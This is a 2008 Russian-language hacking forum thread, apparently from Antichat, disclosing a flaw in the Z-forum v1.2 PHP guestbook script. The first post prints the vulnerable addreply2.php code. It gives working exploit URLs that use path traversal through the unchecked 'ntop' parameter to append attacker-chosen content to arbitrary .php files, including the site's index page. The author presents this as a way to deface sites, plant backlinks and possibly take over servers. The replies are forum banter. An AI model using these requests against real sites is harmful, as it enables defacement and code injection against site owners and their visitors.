Форумы Z-forum v.1.2

Discussion in 'Уязвимости CMS/форумов' started by Dronga, 20 Mar 2008.

  1. Dronga

    Dronga ВАША реклама ТУТ!!

    Joined:
    1 Jul 2005
    Messages:
    575
    Likes Received:
    239
    Reputations:
    249
    Не совсем стандартная бага и таких примеров маловато.. Пусть будет здесь.

    Налетел абсолютно случайно на скрипт, который лежит здесь: http://newscript.ru/?q=taxonomy/term/75&page=1

    Поставил... Вот типа такой борды-гостевой-форума человеку и надо было. Прикрутили диз, всё замечательно. Но душе хотелось романтики =)

    Полезли в исходник. Собственно, ничего сложного там нет. Остановимся на addreply2.php.
    PHP:
    <?php
    ....
    function 
    u($urlz){
    $urlz=str_replace("<","&lt;",$urlz);
    $urlz=str_replace(">","&gt;",$urlz);
    $urlz=str_replace("\"","",$urlz);
    $urlz=str_replace("\n","",$urlz);
    $urlz=str_replace("\r","",$urlz);
    $urlz=str_replace("  "," ",$urlz);
    $urlz=str_replace("***","фиг",$urlz);
    $urlz=str_replace("блядь","блин",$urlz);
    $urlz=str_replace("****","собака",$urlz);
    $urlz=str_replace("мудак","дурак",$urlz);
    $urlz=str_replace("мадазвон","сволочь",$urlz);
    $urlz=str_replace("пиздец","копец",$urlz);
    $urlz=str_replace("мудаки","дураки",$urlz);
    $urlz=str_replace("JockeR","JokeR",$urlz);
    $urlz=str_replace("jocker","joker",$urlz);
    $urlz=str_replace("jockeR","joker",$urlz);
    $urlz=str_replace("заебал","задолбал",$urlz);
    return 
    $urlz;
    }
    ...
    $ind=fopen("data/$ntop.php","a+");
    ...
    if(
    $urlz==""){
    $si="no url";
    }else{
    $si="<a href=\\\"".u($urlz)."\\\">".u($urlz)."</a>";
    }
    ...
    $rind="<?
    echo\"
    <table border=\\\"\$border\\\" bgcolor=\\\"\$tablebg\\\" width=\\\"700\\\">
    <tr><td bgcolor=\\\"#C0C0C0\\\">От: 
    $pis Сайт: $si<br>Тема: Re:$topicz <br>Сообщение:<br><font color=\\\"#FFFFFF\\\">".mm($mess)."</font></td></tr>
    <tr><td background=\\\"img/zag.jpg\\\"><font color=\\\"#FFFFFF\\\"><p align=\\\"center\\\"><a href=\\\"
    $dirfor/addreply.php?top=$topicz&ntop=$ntop\\\">ОТВЕТ</a></p></font></td></tr>
    </table>
    \";
    ?>
    "
    ;
    fwrite($ind,$rind);
    ..
    ?>
    Кто по коду всё понял - молодцы, закрываем страницу. Остальные читаем дальше. Этот скрипт используется когда оставляют пост. Скрипт не использует базу и все мессаги хранятся в php-файлах, которые подключаются непосредственно при просмотре. Так вот когда человек делает пост, скрипт его сохраняет под номером в каталоге data. Номер поста определяется переменной $ntop, которая передается в GET. Кстати, для работы скрипта необходимо register_globals = On в php.ini.

    Естественно никаких проверок $ntop нет. Поэтому тут мы можем немного пофокусничать.

    Code:
    http://sire.ru/z-forum/addreply2.php?ntop=999999&urlz=http://ya.ru
    Создаст файл 999999.php в каталоге data.
    Code:
    http://site.ru/z-forum/addreply2.php?ntop=../999999&urlz=http://ya.ru
    Создаст наш файл в каталоге выше..
    Code:
    http://site.ru/z-forum/addreply2.php?ntop=../index&urlz=http://ya.ru
    Допишет индексовый файл форума..
    Code:
    http://site.ru/z-forum/addreply2.php?ntop=../../index&urlz=http://ya.ru
    Допишет индексовую страничку сайта =)))

    Резонный вопрос, почему я использую вторую переменную $urlz ?? Потому во всех полях достаточно твердая фильтрация, а используя $urlz теоритически могу беклинков на свой сайт понаоставлять, на любой странице сайта где расположен уязвимый скрипт, а при удачном стечении обстоятельств и сервера ;)

    Если есть права, то можно дописать в любой файл на ФС сервера с расширением php. %00 на подопытном сервере не прокатило. Естественно, так можно и сайт задефейсить и просто испортить ему фейс неосторожной вставкой в файлы шаблона ;)

    PS. Живых сайтов для примера в гугле не отыскалось, домашняя страница автора тоже приказала долго жить. А вдруг кому попадется.

    (с) Antichat.ru
     
    #1 Dronga, 20 Mar 2008
    Last edited: 20 Mar 2008
  2. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    один вопрос, зачем именно определенную борду делать в одной теме, я понимаю обощить, а так только форум засирать, а так +
     
  3. Dronga

    Dronga ВАША реклама ТУТ!!

    Joined:
    1 Jul 2005
    Messages:
    575
    Likes Received:
    239
    Reputations:
    249
    А нафиг вообще темы?? А нафиг вообще посты?? А нафиг вообще форумы?? Давай всё одним текстовиком выкладывать будем, всё в куче, чтоб ничего не засирать. Всё на своих местах. :)

    PS. Модераторы, снесите пожайлуста дубликат темы, случайно, пока сайт под ДДОСом лежал. Спасибо.
     
    #3 Dronga, 20 Mar 2008
    Last edited: 20 Mar 2008